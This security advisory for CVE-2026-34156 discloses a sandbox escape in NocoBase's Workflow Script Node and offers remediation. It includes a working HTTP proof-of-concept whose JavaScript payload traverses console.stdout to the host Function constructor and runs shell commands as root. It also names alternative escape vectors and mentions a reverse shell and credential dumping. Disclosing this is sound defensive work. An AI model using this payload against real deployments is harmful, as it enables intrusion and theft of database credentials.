CVE-2026-34156: NocoBase Affected by Sandbox Escape to RCE via console._stdout Prototype Chain Traversal in Workflow Script Node

## Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOWSCRIPTMODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console.stdout and console.stderr.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

1. console.stdout.constructor.constructor → host-realm Function constructor 2. Function('return process')() → Node.js process object 3. process.mainModule.require('childprocess') → unrestricted module loading 4. childprocess.execSync('id') → RCE as root

This completely bypasses the customRequire allowlist.

Impact

- Remote Code Execution as root (uid=0) inside Docker container - Database credential theft (DBPASSWORD, INITROOTPASSWORD from process.env) - Arbitrary file read/write via require('fs') - Reverse shell confirmed - Outbound network access for lateral movement

Proof of Concept

HTTP Request:

POST /api/flownodes:test Authorization: Bearer <JWTTOKEN> Content-Type: application/json

{ "type": "script", "config": { "content": "const Fn=console.stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('childprocess');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

- Docker image: nocobase/nocobase:latest - NocoBase CLI: v2.0.26 - Node.js: v20.20.1 - OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell

<img width="1300" height="743" alt="Screenshot 2026-03-26 at 06 09 51" src="https://github.com/user-attachments/assets/fcb65346-2d98-485a-a849-153d5957c78e" />

Proof of concept the root privileges

<img width="1292" height="515" alt="Screenshot 2026-03-26 at 06 12 29" src="https://github.com/user-attachments/assets/599cd915-d5e9-47b6-9ddb-655ae4f22d50" />

os-release demonstration

<img width="1290" height="523" alt="Screenshot 2026-03-26 at 06 12 54" src="https://github.com/user-attachments/assets/48030450-f2b1-4edc-a7f0-caafbf55dd00" />

<img width="1296" height="516" alt="image" src="https://github.com/user-attachments/assets/f7012c09-885b-48fb-a6d4-7282c0326d0b" />

App path

<img width="1295" height="516" alt="Screenshot 2026-03-26 at 06 14 04" src="https://github.com/user-attachments/assets/b4846af8-cb10-4c2a-886f-b19a120c2245" />

Exploit Usage:

Reverse Shell Mode

<img width="1299" height="523" alt="tool1" src="https://github.com/user-attachments/assets/6c26d6f3-0ad2-4a61-9692-b150409ee569" />

Dump system information & creds

<img width="635" height="591" alt="tool2" src="https://github.com/user-attachments/assets/08dbc231-d686-4536-8a74-272ceb5c10a8" />

Remote Command Execution Mode

<img width="644" height="467" alt="tool3" src="https://github.com/user-attachments/assets/fc95d89b-eff5-4eec-87b4-f6022778feec" />

Remediation

1. Replace Node.js vm module with isolated-vm for true V8 isolate separation 2. Do not pass the host console object into the sandbox; create a clean proxy 3. Run the application as a non-root user inside Docker 4. Restrict /api/flownodes:test to admin-only roles

Alternative Escape Vectors

- console.stderr.constructor.constructor (identical chain via stderr) - Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç — Independent Security Researcher, Bilkent University